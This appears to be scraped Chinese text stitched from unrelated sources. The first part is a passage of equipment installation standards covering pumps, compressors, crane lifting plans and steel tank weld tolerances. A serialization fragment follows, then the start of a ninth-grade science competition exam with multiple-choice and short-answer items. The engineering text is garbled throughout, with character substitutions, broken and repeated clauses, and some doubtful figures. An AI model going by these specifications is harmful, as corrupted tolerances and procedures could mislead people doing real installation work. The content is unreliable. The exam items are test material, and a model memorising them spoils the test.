@#@@#@高转速泵或大型解体泵安装时，应测量转子叶轮、轴套、叶轮密封环、平衡盘、轴颈等主要部位的径向和端面跳动值，其允许偏差应符合设备技术文件的规定。

@#@@#@转子部件与壳体部件之间的径向总间隙应符合设备技术文件的规定。

@#@@#@叶轮在泵室内的前轴向、后轴向间隙、节段式多级泵的轴向尺寸应符合设备技术文件的规定。

@#@@#@多级泵各级平面间原有垫片厚度不得变更。

@#@@#@高温泵平衡盘和平衡套之间的轴向间隙，单壳体节段式泵应为0.04-0.08，双壳体泵应为0.35-1。

@#@@#@推力轴承和止推盘之间的轴向总间隙,单壳体节段式泵应为0.5-1,双壳体泵应为0.5-0.7。

@#@@#@11叶轮出口的中心线应与泵壳流道中心线对准；@#@多级泵在平衡盘与平衡板靠紧的情况下，叶轮出口的宽度应在导叶进口宽度范围内。

@#@@#@12滑动轴承轴瓦背面与轴瓦座应紧密巾合，其过盈值应在0.02-0.04范围内;@#@轴瓦与轴颈的顶间隙和侧间隙均应符合设备技术文件的规定。

@#@@#@13滚动轴承与轴和轴承座的配合公差、滚动轴承与端盖间的轴向间隙以及因介质温度引起的轴向膨胀间隙、向心推力轴承的径向游隙及其预紧力，均应按设备技术文件的要求进行检查和调整；@#@无规定时，按现行国家标准《机械设备安装工程施工及验收通用规范》的规定执行。

@#@@#@14组装填料密封径向总间隙应符合设备技术文件的规定。

@#@@#@15机械密封、浮动环密封、迷宫密封及其他形式的轴密封件的各部间隙和接触要求均应符合设备技术文件的规定；@#@无规定时，按现行国家标准《机械设备安装工程施工及验收通用规范》执行。

@#@@#@16轴密封件组装后，盘动转子转动应灵活；@#@转子的轴向窜动量应符合设备技术文件的规定。

@#@@#@17双层壳体泵的内壳、外壳组装时，应按设备技术文件的规定进行；@#@双头螺栓拧紧的拉伸量和螺母旋转角度应符合设计规定。

@#@@#@18泵试运转时应符合下列要求：

@#@@#@各固定连接部位不得有松动；@#@@#@转子及各运动部件运转应正常，不得有异常声响和摩擦现象；@#@@#@附属系统的运转应正常，管道连接牢固无渗漏；@#@@#@滑动轴承的温度不应高于70C；@#@滚动轴承的温度不应高于80C；@#@特殊轴承的温度应符合设备技术文件的规定；@#@@#@各润滑点的润滑油温度，密封液和冷却水的温度均应符合设备技术文件的规定；@#@润滑油不得有渗漏和雾状喷油现象；@#@@#@泵的安全保护和电探装置及各部分仪表均应灵活、正确、可靠；@#@@#@机械密封的泄漏量不应大于5，填料密封的泄漏量不应大于下表值，且温升正常；@#@@#@杂质泵及输送有害、有毒、易暴等介质的泵，密封的泄漏量不得大于设计的规定值；@#@@#@工作介质比重小于1的离心泵，用水进行试运转时，应控制电动机的电流不得超定值，，且水流量部分人小于额定值的20%；@#@有毒、有害、易燃、易暴、颗粒等介质进行试运转的泵，应符合设备技术文件的规定；@#@@#@低温泵不得在节流情况下试运转；@#@@#@需要测量轴承体处振动值的泵，应在运转无汽蚀的条件下进行测量；@#@@#@泵在额定工况点连续运转时间不应小于2h；@#@高速泵及有特殊要求的泵试运转时间应符合设备技术文件的规定。

@#@@#@3）机动往复泵的安装@#@泵的清洗和检查应符合下列要求：

@#@@#@整体出厂的往复泵在防锈漆保证期内可不拆卸，仅对外表进行检查；@#@超过防锈漆保证期或有损伤确需拆卸和清洗时，应拆卸后盖、进液阀、排液阀、填料等，并应将设备表面和拆卸下来的零件、部件清洗干净；@#@@#@解体出厂的往复泵应检查零件和部件的同组标记，不得互换。

@#@出厂已装完善的组合件不得拆卸；@#@各装配部件传动副的间隙和接触情况应符合设备技术文件的规定；@#@@#@清洗主机零件、部件和设备表面及接合面以后，应将清洗剂和水分除净，并应涂上一薄层润滑油；@#@进液阀、排液阀、填料和其他密封面不得用蒸汽清洗。

@#@@#@整体出厂得便往复泵纵向和横向安装水平偏差均不得大于0.50/1000，并应在曲轴外露部分和其他加工面上进行测量。

@#@@#@解体出厂的往复泵组装时应符合下列要求：

@#@@#@动力端机座的纵向安装水平差不应大雨0.20/1000；@#@横向安装水偏差不应大于0.50/1000；@#@@#@主轴承颈安装水偏差不应大于0.10/1000；@#@轴瓦与主轴颈的接触弧面不应大于60度；@#@其接触面积不应小于接触弧面面积的70%；@#@接触点应均匀分布。

@#@轴瓦与主轴颈的径向间隙和轴向间隙、主轴承端面与端盖的间隙均与应符合设备技术文件的规定；@#@@#@曲轴轴颈与连杆大头轴瓦、十字头销与连杆轴套的接触应均匀，其接触面面积应大于轴瓦或轴套面积的70%；@#@径向间隙与轴向间隙应符合设备技术文件的规定；@#@@#@十字头与机座十字导轨孔的径向间隙应符合随机技术文件的规定；@#@@#@组装填料应符合下列要求：

@#@@#@方形填料应将填料环接口切成45º@#@后压入；@#@相邻两圈的接口宜错开90º@#@；@#@填料压的不宜过紧，压盖应均匀压入，压入的深度宜为一圈填料的高度，但不得小于5mm；@#@@#@金属填料各平面及径向密封面应均匀接触，其接触面面积应大于密封面面积的70%；@#@填涵盖与柱塞之间的径向间隙应符合规定。

@#@当无规定时，其径向间隙宜为0.04~0.14mm；@#@@#@锥形填涵各填料元件紧密贴合无间隙，且接触应均匀；@#@压紧环、T型环、前后锥环的接触面面积应大于接触面积的70%。

@#@@#@泵的吸入阀和排出阀组装时，应符合下列要求：

@#@@#@弹簧的弹力应均匀；@#@阀片和弹簧应无卡阻和歪邪现象；@#@@#@调节装置和阀片升程应符合设备技术文件的规定；@#@@#@阀与阀座应作煤油捡漏试验，在5min内应无渗漏。

@#@@#@组装润滑系统应符合下列要求：

@#@@#@油管不应有急弯、扭折和压扁现象；@#@经酸洗并清洗洁净后，方可与供油润滑点连接；@#@@#@与曲轴项链界的油泵，运转应灵活，不得有阻滞现象；@#@@#@润滑系统的管路、阀件、进口分液器、油过滤器、油冷却器等组成后，应按额定工作压力进行严密性试验；@#@@#@机座的油池应做油煤泄露试验，试验时间不应小于4h。

@#@@#@电动机轴、变速器轴、曲轴的连接应符合设备技术文件的规定。

@#@@#@泵试运转应符合下列要求：

@#@@#@空负荷试运转时间不应小于0.5h；@#@@#@泵的负荷运转应在空负荷试运转合格后，按额定压差值的25%、50%、75%、100%逐及升压，在每一级压力下运转时间不应小于15min最后应在额定压差值和最大泵速的情况下运转2h。

@#@前一压力级运转未合格，不得进行后一压力级的运转；@#@@#@溢流阀、补油阀、放气阀等应灵敏、正确、可靠；@#@@#@安全阀应在逐渐关闭排出管路阀门、提高排出压力的情况下，试验阀的起跳压力，其试验不应少于3次，动作应灵敏、正确、无误；@#@@#@吸液和排液压力应正常；@#@泵的出口压力无异常脉动；@#@@#@运转中应无异常声响和振动；@#@@#@泵的润滑油压和油位应在规定范围内。

@#@机动往复泵的油池油温不应高于75º@#@C；@#@@#@轴承的温度应符合18.4条的规定；@#@十字头导轨、填料函不得过热；@#@@#@工作介质为水或乳化液时，填料函的泄漏量不应大于泵额定流量的0.01%；@#@当泵额定流量小于10m³@#@/h时，其填料函的泄漏量不应大于1L/h;@#@@#@停车应将泵的负荷卸载后进行。

@#@@#@

（2）压缩机的安装@#@1）整体出厂的压缩机的安装@#@压缩机安装时，设备的清洗和检查应符合下列要求：

@#@@#@往复活塞压缩机应对活塞、连杆、气阀和填料进行清洗和检查，其中气阀和填料不得采用蒸汽清洗；@#@@#@隔膜试压缩机应拆卸清洗缸盖、膜片、吸气阀和排气阀，并应无损伤和锈蚀；@#@@#@压缩机的安装水平偏差不应大于0.21/1000，并应在下列部位进行测量：

@#@@#@卧式压缩机、对称平衡型压缩机应在机身滑道面或其他基准面上测量；@#@@#@立式压缩机应拆去汽缸盖，并在汽缸顶平面上测量；@#@@#@其他型式的压缩机应在主轴外露部分或其他基准面上测量。

@#@@#@2）解体式压缩机的安装@#@压缩机组装前，设备的清洗和检查应符合下列要求：

@#@@#@零件、部件和附属设备应无损伤和锈蚀等缺陷；@#@@#@零件、部件和附属设备应清洗洁净，清洗后应将清洗剂和水分清除干净，并在加工面上涂一层润滑油。

@#@@#@无润滑压缩机及其与介质接触的零件和部分不得涂油；@#@气阀、填料和其他密封件不得采用蒸汽清洗。

@#@@#@压缩机安装前应检查零件、部件的原有装配标记。

@#@下列零件、部件应按标记进行组装。

@#@@#@机身轴承座、轴承盖和轴瓦；@#@@#@同意列机身、中体、连杆、十字头、中接接筒、气缸和活塞；@#@@#@机身与相应位置的支承架；@#@@#@填料函、密封盒应按级别与其顺序进行组装。

@#@@#@在组装机身和中体时应符合下列要求：

@#@@#@将煤油注入机身内，使润滑油升至最高油位，持续时间不得少于4h，并无渗漏现象；@#@@#@机身安装的纵向和横向水平偏差不应大于0.05/1000，其测量部位应符合下列要求：

@#@@#@卧式压缩机、对称平衡型压缩机安装的横向水平应在机身轴承孔处进行测量，纵向水平应在滑道的前、后两点的位置上进行测量；@#@@#@立式压缩机应在机身接合面上测量；@#@@#@L型压缩机应在机身法兰面上测量。

@#@@#@两机身压缩机主轴承孔轴线的同轴度Ø@#@0.05mm。

@#@@#@组装曲轴和轴承时应符合下列要求：

@#@@#@曲轴和轴承的油路应洁净和畅通，曲轴的堵油旋塞和平衡块的锁紧装置应紧固；@#@@#@轴瓦钢壳与轴承合金层粘合应牢固，并应无脱壳和哑音现象；@#@@#@轴瓦背面与轴瓦座应紧密贴合，其接触面面积不应小于70%；@#@@#@轴瓦与主轴颈之间的径向和轴向间隙应符合设备技术文件的要求；@#@@#@对开式厚壁轴瓦的下瓦与轴颈的接触弧面夹角不应小于90º@#@，接触面面积不应小于该接触弧面面积的70%；@#@@#@薄壁瓦的瓦背与瓦座应紧密贴合；@#@当轴瓦外圆直径小于或等于200mm时，其接触面面积不应小于瓦背面积的85%，当轴瓦外径大于200mm时，其接触面面积不应小于背面积的70%，且接触应均匀；@#@薄壁瓦的组装间隙应符合设备技术晚间的规定；@#@瓦面的合金层不宜刮研。

@#@当需刮研时，应修刮轴瓦座的内表面；@#@@#@曲轴安装的水平偏差不应大于0.10/1000，并应在曲轴每转90º@#@的位置上，用水平仪在主轴颈上进行测量；@#@@#@曲轴轴线对滑道轴线的垂直度偏差不应大于0.10/1000；@#@@#@检查各曲柄之间上下左右四个位置之间的距离，其允许偏差应符合设备技术文件的规定无规定时，其偏差不应大于行程的0.10／1000；@#@@#@曲轴组装完后，手盘动数转，应无阻滞现象。

@#@@#@●组装气缸时应符合下列要求:

@#@@#@气缸组装后，其冷却水路应按设备技术文件的规定进行严密性试验，并无渗漏@#@卧式气缸轴线对滑道轴线的同轴度允许偏差应符合规范规定式大便倾斜方向应一滑道倾斜方向一致。

@#@在调整气缸轴线时，不得在气缸端面加放垫片；@#@@#@立式气缸找正时，活塞在气缸内四周的间隙应均匀，其最大与最小间隙之差不应大于活塞与气缸间平均间隙值的1╱2。

@#@@#@●组装连杆时应符合下列要求：

@#@@#@油路应清洁畅通；@#@@#@厚壁的连杆大头瓦与曲柄轴颈的接触面面积不应小于大头瓦面积的70%；@#@薄壁的连杆大头瓦不宜刮研；@#@其连杆小头轴套（轴瓦）与十字销的接触面面积不应小于小头轴套面积的70%；@#@@#@连杆大头瓦与曲柄轴颈的径向间隙、轴向间隙应符合设备技术文件的规定；@#@@#@连杆小头轴套（轴瓦）与十字销的径向间隙、轴向间隙，均应符合设备技术文件的规定；@#@@#@连杆螺栓和螺母应按设备技术文件规定的预紧力，均匀拧紧和锁牢。

@#@@#@●组装十字头时应符合下列要求:

@#@@#@十字头滑履与滑道接触面面积不应小于滑履面积的60%；@#@十字头滑履与滑道间的间隙在行程的各个位置上均应符合设备技术文件的规定；@#@@#@对称平衡型压缩机的十字头组装时，应按制造厂所作的标记进行，不得装错，以保证活塞杆轴线与滑道轴线重合；@#@十字头销的连接螺栓和锁紧装置，均应拧紧锁牢。

@#@@#@●组装活塞和活塞杆时，应符合下列要求：

@#@@#@活塞环表面不应有裂纹、夹杂物和毛刺等缺陷；@#@@#@活塞环应在气缸内做漏光检查，在整个圆周上漏光不应超过两处，每处对应弧长不得大于36°@#@，且与活塞环开口的距离应大于对应15°@#@的弧长。

@#@但非金属除外；@#@@#@活塞环与槽端面之间的间隙、活塞环放入气缸的开口间隙，均应符合设备技术文件的规定；@#@@#@活塞环在活塞环槽内应能自由转动，手压活塞环时，环能全部沉入槽内。

@#@相邻活塞环开口的位置应互相错开；@#@@#@活塞与气缸镜面之间的间隙和活塞在气缸内的内、外止点间隙应符合设备技术文件的规定；@#@@#@浇有轴承全金的活塞支承面，与气缸镜面的接触面面积不应小于活塞支承弧面的60%；@#@@#@活塞杆与活塞、活塞杆与十字头应连接牢固并锁紧。

@#@@#@●组装填料和刮油器时应符合下列要求：

@#@@#@油、水、气孔道应清洁畅通；@#@@#@各填料环的装配顺序不得互换；@#@@#@填料与各填料环端面、填料盒端面的接触应均匀，其接触面面积不应小于端面面积的70%；@#@@#@填料、刮油器与活塞杆的塞杆的接触面积应符合设备技术文件的规定。

@#@当无规定时，其接触面面积不应小于该组环面积的70%，且接触应均匀；@#@@#@刮油刃口不应倒圆，刃口应朝向来油方向；@#@@#@填料和刮油器组装后，各处间隙应符合设备技术文件的规定，并能自由转动；@#@@#@填料压盖的锁紧装置应锁牢。

@#@@#@●组装气阀弹簧的自由长度应一致；@#@阀片和弹簧应无卡阻和歪斜现象；@#@@#@阀片汽升程应符合设备技术文件的规定；@#@@#@气阀组装后，应注入煤油进行严密性试验，并应无连续的滴状渗漏。

@#@@#@●组装盘车装置应符合下列规定：

@#@@#@盘车装置可在曲轴就位后进行组装，并应符合设备技术文件的规定；@#@@#@应调整操作手柄的各个位置，其动作应正确可靠。

@#@@#@3）压缩机制试运转@#@压缩机空负荷试运转应符合下列要求：

@#@@#@●应将各级吸、排气阀拆下；@#@@#@启动冷却系统、润滑系统，其运转应正常；@#@@#@●检查盘车装置，应处于压缩机启动所要求的位置；@#@@#@●点动压缩机，检查检查各部位无异常后，再依次运转5min、30min和2h以上，每次启动运转前检查压缩机润滑情况均应正常。

@#@@#@●运转中油压、油温和各部位的温度均应符合技术文件的规定；@#@@#@●运转中各运动部件应无异常声响，各紧固件应无松动。

@#@

（2）大型设备整体吊装@#@1）施工准备@#@技术准备@#@●设备吊装规划编制依据如下：

@#@@#@施工条件图和设计图；@#@@#@施工现场地质资料、气象资料及吊装的环境；@#@@#@施工人员技术素质；@#@@#@技术装备能力；@#@@#@工期要求及经济指标。

@#@@#@●设备吊装规划应包括下列内容；@#@@#@工艺技术经济分析；@#@@#@大型设备汇总表；@#@@#@吊装方案；@#@@#@吊装机具；@#@@#@吊装顺序；@#@@#@吊装进度；@#@@#@吊点位置及其结构；@#@@#@设备分段尺寸；@#@@#@平面布置；@#@@#@劳动组织；@#@@#@特殊安全技术要求。

@#@@#@●吊装方案的编制依据如下：

@#@@#@施工技术资料包括：

@#@@#@ａ施工图；@#@@#@ｂ设计审查会议文件。

@#@@#@有关施工标准、规范。

@#@@#@施工组织设计。

@#@@#@现场施工条件。

@#@@#@施工计划。

@#@@#@●吊装方案应包括下列内容：

@#@@#@工程概况：

@#@@#@ａ特点和任务；@#@@#@ｂ编制指导思想和方法；@#@@#@ｃ编制依据；@#@@#@ｄ吊装参数表。

@#@@#@工艺设计：

@#@@#@ａ设备吊装工艺要求@#@ｂ吊装计算结果；@#@@#@ｃ超重机具安装拆除工艺要求；@#@@#@ｄ设备支吊点位置及其结构图和局部加固结构图；@#@@#@ｅ吊装布置图；@#@@#@ｆ地锚施工图；@#@@#@ｇ设备地面组装深度规定；@#@@#@ｈ地下工程和架空线缆施工规定；@#@@#@ｉ起重机具汇总表；@#@@#@ｊ吊装进度计划；@#@@#@ｋ相关作业交叉作业计划。

@#@@#@技术管理@#@ａ工艺岗位分工；@#@@#@ｂ安全质量规定；@#@@#@ｃ特殊安全技术措施；@#@@#@ｄ安全质量检察；@#@@#@ｅ机具试验。

@#@@#@●吊装布置应包括下列内容：

@#@@#@吊装环境；@#@@#@地下工程；@#@@#@设备的运输路线；@#@@#@设备组装、吊装位置；@#@@#@吊装过程中机具与设备的典型位置；@#@@#@桅杆安装位置；@#@@#@吊车位置及移动路线；@#@@#@卷扬机、地锚与索具的布置；@#@@#@吊车指挥的位置；@#@@#@监测人员的位置；@#@@#@电源；@#@@#@吊装警戒。

@#@@#@2）现场准备@#@①施工现场三通一平后，设备的运输吊装路线、桅杆安装位置、吊车工作位置及行车路线的地耐力应满足使用要求，必要时应进行加固处理；@#@@#@②桅杆与吊车工作地基可采取下列加固方法：

@#@@#@●铺垫钢板；@#@@#@●重新回填并分声能夯实@#@●筑混凝土地基；@#@@#@●杆底部用不少于两层的道木满铺；@#@@#@●车支腿下方铺垫道木或厚钢板。

@#@@#@③机具设备存放场地应有排水措施。

@#@@#@④施工现场应有足够容量的电源，并采取妥善措施以保证吊装正常用电。

@#@@#@⑤吊装指挥应根据吊装方案的要求，进行起重机具的布置。

@#@@#@⑥吊装机具安装时，应认真填写吊装工艺卡。

@#@@#@⑦钢丝绳的设置应符合下列规定:

@#@@#@钢丝绳的设置应符合下列规定：

@#@@#@应使钢丝绳扣各股受力均匀；@#@@#@绕结钢丝绳时，绳卡的使用应符合规定要求U型卡子与短绳压紧。

@#@搭接钢丝绳时，绳卡使用数量应符合规定要求，卡装时正反各半。

@#@@#@⑧钢丝绳绳扣采用小接法插接时，宜采用一进五或一进三法，插接长度应大于钢丝强直径的20倍。

@#@@#@⑨滑车及滑车组设置时，应符合下列规定：

@#@@#@高空严禁使用抛式开口滑车，并不得使用吊钩式滑车，必要时钩口采取加封等安全措施；@#@@#@吊钩式滑车用作地面导向滑车时，其钩口应轮上设置；@#@@#@滑车的轮数不超过5个时，跑绳可采用单头顺穿的方式；@#@滑车的轮数超过5个时，跑绳可采取双头顺穿的方式；@#@@#@多轮滑车仅使用其部分滑轮时，滑车的起重能力应按使用轮数计算，且滑车应对称穿绳，以免偏载；@#@@#@跑绳进出滑车的侧偏角不宜超过10°@#@，当侧偏角较大时，应另挂导向滑车。

@#@@#@⑩卷扬机设置时，应符合下列规定：

@#@@#@同一工艺岗位的卷杨机宜集中设置，且应有防雨棚、垫木等防护措施；@#@@#@桅杆的跑黾应直接进入卷扬机，必要时应尽量减少跑绳变向次数；@#@@#@卷扬机出绳俯仰角度不得大于10°@#@；@#@@#@卷扬机的卷筒到最近一个导向滑车的距离，不得小于卷筒长度的20倍，且导向滑车的位置应在卷筒的垂直的平分线上；@#@@#@●卷筒上的跑绳应均匀缠紧，防止吊装时跑绳嵌入绳层@#@●卷扬机的设置应避免出现下列情况：

@#@@#@跑绳与设备进向交叉；@#@@#@　跑绳与地面索具交叉；@#@@#@　妨碍设备尾排运行至规定位置。

@#@@#@3）吊车选择@#@吊车选择依据如下：

@#@@#@●设备结构尺寸、重力、重心位置和强度、刚度及稳定性；@#@@#@●吊装环境；@#@@#@●技术装备能力；@#@@#@●施工人员技术素质；@#@@#@●安全技术要求；@#@@#@设备结构特征决定的要求；@#@@#@吊装环境特征决定的要求；@#@@#@工艺特征决定的要求；@#@@#@起重机械特征决定的要求；@#@@#@●吊车选择内容包括确定吊车台数、型号及技术性能参数。

@#@●吊车技术性能参数如下：

@#@@#@额定起重能力；@#@@#@吊壁长度；@#@@#@工作半径；@#@@#@回转速度；@#@@#@吊壁负载作业回转界限；@#@@#@吊装工艺计算所需的技术参数@#@●主吊车选择程序如下：

@#@@#@确定设备主辅吊点位置；@#@@#@初选吊车车型；@#@@#@初拟吊车位置；@#@@#@计算吊臂理论状态参数（长度、工作半径、仰角）；@#@@#@初选吊臂实际状态参数；@#@@#@计算吊臂与设备、吊钩滑车与吊臂及设备见的水平净距；@#@@#@吊车最终选择。

@#@@#@●主吊车选择应符合下列规定：

@#@@#@单吊车吊装计算，荷载应小于其额定起重能力；@#@@#@双吊车装荷载不均衡系数为1～1.35；@#@@#@吊臂与设备间的水平净距不小于200ｍｍ；@#@@#@吊钩滑车与设备及吊臂间的水平净距不宜小于50ｍｍ。

@#@@#@4）吊车布置@#@吊车布置应符合下列规定：

@#@@#@●应使吊车处于最佳状态下作业；@#@@#@●有利于设备整体组合吊装，且便于设备吊装就位；@#@@#@●应充分考虑吊臂挠度、车身水平度、地基坚实程度、吊车位置精确度和吊钩偏摆对吊装净空的影响；@#@@#@●应遵守吊车负载作业回转限界的规定；@#@@#@●吊车位置布置要有吊臂装拆所必需的空间，但如果环境条件不允许，在确保安全的前提下，也可在空中拆装吊臂；@#@@#@●吊车位置和行车路线应避开地下管线，地下电缆等贰部位，必要时应设置保护措施。

@#@@#@5）设备吊点位置设置@#@吊点纵向位置应符合下列要求：

@#@@#@●主吊点宜设在操作平台以上处，且应在设备组合重心高度以上；@#@@#@单吊车吊装，吊装点宜设在设备头部，辅助吊点宜设在基础环处；@#@@#@●为改善设备吊装整体强度，当辅助吊车起重能力允许时，应优先移动辅助吊点的纵向位置；@#@@#@●为缩短吊臂长度提高主吊车的起重能力，工改善设备吊装整体强度，应移动设备主吊点向纵向位置；@#@@#@●不锈钢及有色金属设备、变径变厚设备、内衬混凝土设备，不宜将吊点设备在设备上下两端。

@#@@#@

（1）钢制储罐安装要求@#@1）焊缝表面质量要求@#@①对接焊缝允许偏差应符合规范要求：

@#@@#@●咬边深度＜0.5㎜；@#@@#@●咬边连续长度≤100㎜；@#@@#@咬边焊缝两侧总长度≤10L；@#@@#@●环向焊缝凹陷深度≤0.5㎜；@#@@#@●环向焊缝凹陷长度≤10%；@#@@#@●环向焊缝凹陷连续长度≤100㎜；@#@@#@●纵向焊缝不允许出现凹陷。

@#@@#@注：

@#@L－焊缝长度@#@②壁板焊缝允许偏差符合规范要求：

@#@@#@●δ≤12㎜时，棱角≤10㎜；@#@@#@●12㎜＜δ≤25㎜时，棱角≤8㎜；@#@@#@●δ＞25㎜时，棱角≤6㎜；@#@@#@③对接接头的错边量允许偏差符合规范要求@#@●当δ≤10㎜时，纵向焊缝≤1㎜；@#@@#@●当δ＞10㎜时，纵向焊缝≤1.5㎜；@#@@#@●当δ≥8㎜时，纵向焊缝≤3㎜@#@注：

@#@δ－板厚@#@④角焊缝脚允许偏差符合规范要求：

@#@@#@●搭接焊接；@#@@#@●罐底与罐壁连接的焊缝@#@●其他部位的焊缝均要符合设计要求@#@⑤焊缝宽度允许偏差符合规范要求，坡口宽度两侧各增加1～2㎜@#@⑥浮顶储罐对接焊缝余高允许偏差符合规范要求@#@●壁板内侧焊缝≤1㎜@#@●当δ≤12㎜时，纵向焊缝≤2㎜；@#@@#@●当12＜δ≤25㎜时，纵向焊缝≤3㎜；@#@@#@";i:

6;s:

23656:

"九年级科学竞赛试题卷汇总@#@九年级科学竞赛试题卷@#@考生须知：

@#@@#@1．本卷共4大题，35题，考试时间120分钟，满分150分。

@#@@#@2．试卷分为试题卷（共8页）和答题卷（共4页）。

@#@请在答题卷上写上考生姓名、@#@学校、考号。

@#@所有答案写在答题卷上，写在试题卷上无效。

@#@@#@3．可能用到的相对原子质量：

@#@H-1O-16 @#@Mg-24 @#@S-32 @#@C1-35．5 @#@Zn-65@#@Na-23C-12Cu-64@#@一、选择题（本大题有16题，每题3分，共48分，每题只有1个选项正确，多选、错选、不选均得零分。

@#@将选出的答案选项字母填在答题卷的相应空格内）@#@1．同学甲的居住地位于北回归线上，同学乙的居住地位于南回归线上，且两地恰好位于同一经线。

@#@下列有关现象的叙述正确的是：

@#@（▲）@#@　A．甲同学早上上学之时，正是乙同学下午放学之时@#@　B．某天晚上甲同学看到上弦月，乙同学看到的也是上弦月@#@　C．某日甲同学看到日食现象，而乙同学在那日晚上看到月食现象@#@　D．甲同学居住地处于夏季时，乙同学居住地也处于夏季@#@2．右图是血液流经某器官的示意图，下列表述哪项是确切的？

@#@（▲）@#@A．b表示心脏，则c血管里流的是静脉血@#@B．b表示肺，则c血管里流的是静脉血@#@C．b表示胎盘，则c血管里流的是动脉血@#@D．b表示肾小球，则c血管里流的是动脉血 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@3．一定量的木炭在盛有氮气与氧气混合气体的密闭容器中充分燃烧后，生成CO和CO2，且测得反应后混合气体中碳元素的质量分数为24％，则其中氮气的质量分数可能为（▲）@#@A.1O％B.30％C.5O％D.70％@#@4．用两种不同的金属丝组成一个回路，触点1插在热水　@#@中，触点2插在冷水中，如图所示，电流表指针会发　@#@生偏转，这就是温差发电现象。

@#@下列有关温差发电现@#@象的说法中正确的是（▲）@#@A.该实验违背了能量守恒定律@#@B.该实验中有部分热能转化为电路的电能@#@C.该实验中热水的温度不变化，冷水的温度升高@#@D.该实验中热水的温度降低，冷水的温度不变化@#@5．已知1个Na2O3的分子质量为mg，1个Na2O5的分子质量为ng，若以氧原子质量的1/16作为相对原子质量标准。

@#@则NaO2的相对分子质量为（▲）@#@A．8（n+m）/n-m　　　B．16（n+m）/n-m@#@C．8（n-m）/n+m　　D．16（n-m）/n+m@#@6．2006年我国铁路将实施第六次大提速，提速后运行速度可达200km/h，铁路提速要解决许多具体的技术问题，其中提高机车牵引力功率是一个重要问题。

@#@已知匀速行驶时，列车所受阻力与速度的平方成正比，即f=kv2，列车要提速，就必须研制出更大功率的机车，那么当列车分别以180km/h和60km/h的速度在水平轨道上匀速行驶时，机车的牵引力功率之比为（▲）@#@A．3：

@#@1B．9：

@#@1C．27：

@#@1D．81：

@#@1@#@7．当人体的皮肤被烧伤时，关于烧伤部位的说法，正确的是（▲）@#@A．若烧伤部分化脓，这是人体的特异性免疫在起作用@#@B．烧伤部位对外界刺激变得迟钝，因为皮肤的神经系统遭到了破坏@#@C．夏天时，烧伤病人更怕热，因为烧伤部位汗腺遭到了破坏@#@D．为了保护烧伤部分，应用多层纱布包扎以免透气@#@8．实验室实验时也可用推拉注射器活塞的方法检查右图中装置　@#@的气密性。

@#@当向外拉活塞时，如果装置气密性良好，可能观@#@察到（▲）@#@A．长颈漏斗下端口产生气泡B．瓶中液面明显上升@#@C．长颈漏斗内的液面上升　D．注射器内有液体@#@实验@#@条件@#@水分消耗@#@（mL）@#@Ca2+@#@（%）@#@K+@#@（%）@#@Mg2+（%）@#@光下@#@1090@#@135@#@27@#@179@#@黑暗中@#@435@#@105@#@35@#@113@#@9．用含有各种必需元素的溶液培养@#@大麦。

@#@实验分两组，一组在光下，@#@一组在黑暗中，48h后测定几种离@#@子的浓度。

@#@下表中各种离子的数据@#@为实验结束时溶液中离子的浓度@#@占实验开始时浓度的百分比。

@#@分析表中实验数据，可以得出的结论是（▲）@#@A．蒸腾作用是根吸收水的主要动力@#@B．大麦在光下吸收钙离子比吸收水分快@#@C．光照促进大麦的蒸腾作用和对钙离子、镁离子的吸收@#@D．大麦吸水和吸收矿质离子是两个相对独立的过程@#@10．一只小猫，跳起来抓住悬在天花板上的竖直木杆，当小猫抓住木杆的瞬间，悬挂木杆的细绳断了。

@#@设木杆足够长，小猫不断地顺杆向上爬，则小猫相对于地面的运动是（▲）@#@A．静止B．向下运动C．向上运动D．以上三种情况都有可能@#@11．向足量饱和硫酸铜溶液中加入3.2g无水硫酸铜，保持条件不变（该条件下硫酸铜的溶解度为20g），放置一段时间后，析出固体质量为:

@#@（▲）@#@A．3.2gB．4.5gC．5.0gD．5.6g@#@12．如图所示，完全相同的两根弹簧，下面挂两个质量相同、　@#@形状不同的实心铁块，其中甲是立方体，乙是球体。

@#@现　@#@将两个铁块完全浸没在某盐水溶液中，该溶液的密度随@#@深度增加而均匀增加。

@#@待两铁块静止后，甲、乙两铁块@#@受到的弹簧的拉力相比较（▲）@#@　　A.甲比较大B.乙比较大C.一样大D.无法确定@#@13．分析表中的数据，以下看法不正确的是（▲）@#@A.生理盐水是依据人体血液的特点配制的@#@B.表中三种溶液的含盐质量分数均为0.9％纯属巧合@#@C.人类祖先可能是从原始海洋逐渐进化到陆地上的@#@D.人体血液与原始海水之间可能有某些尚未认识的关系@#@14．在如图所示电路中，闭合电键S，当滑动变阻器的滑动触@#@头P向下滑动时，四个理想电表的示数都发生变化，电@#@表的示数分别用I、U1、U2和U3表示，电表示数变化量的@#@大小分别用ΔI、ΔU1、ΔU2和ΔU3表示．下列比值不正确的是（▲）@#@A.U1/I不变，ΔU1/ΔI不变．　B.U2/I变大，ΔU2/ΔI变大．@#@C.U2/I变大，ΔU2/ΔI不变．D.U3/I变大，ΔU3/ΔI不变．@#@15．如图所示，在一个有水的容器内，在水中有一个小试管开口向下竖@#@起浮于水面上，试管露出水面的，高度差为H，当将容器封闭并向　@#@外抽气时（▲）@#@A．h不变，H增大　　　　B．h和H都增大@#@C．h增大，H不变　　　　D．h增大，H减小@#@16．某商场安装了一台倾角为30°@#@的自动扶梯，该扶梯在电压为380V的电动机带@#@动下以0.4m／s的恒定速度向斜上方移动，电动机的最大输出功率为4.9kW。

@#@@#@不载人时测得电动机中的电流为5A，若载人时扶梯的移动速度和不载人时相@#@同，则这台自动扶梯可同时乘载的最多人数为（▲）@#@（设人的平均质量为60kg，g=10N／kg）@#@ @#@ @#@　　A．12人 @#@ @#@ @#@　　 @#@B．14人 @#@　　 @#@ @#@ @#@C．20人 @#@ @#@ @#@　　 @#@D． @#@ @#@25人@#@二、简答题（本大题共10题，18个空格，每空2分，共36分。

@#@）@#@17．（4分）有些毒物在自然界难以分解，可在动植物体内积累，并通过食物链富集。

@#@@#@在沿食物链传递的过程中，能量呈金字塔式递减，毒物则越来越集中。

@#@甲、乙、@#@丙为同一生态系统食物网中的三个种群，在达到生态平衡的环境中，三个种群@#@所含的总能量和残留农药DDT的平均浓度如下表：

@#@@#@种群@#@甲@#@乙@#@丙@#@能量/千焦@#@2.9×@#@107@#@1.3×@#@108@#@2.8×@#@109@#@DDT质量分数@#@3.4×@#@10-6@#@3.5×@#@10-7@#@4×@#@10-8@#@这三个种群中属于生产者的是▲，写出三个种群的能量@#@流动渠道▲。

@#@@#@18．如图为一注水的玻璃装置。

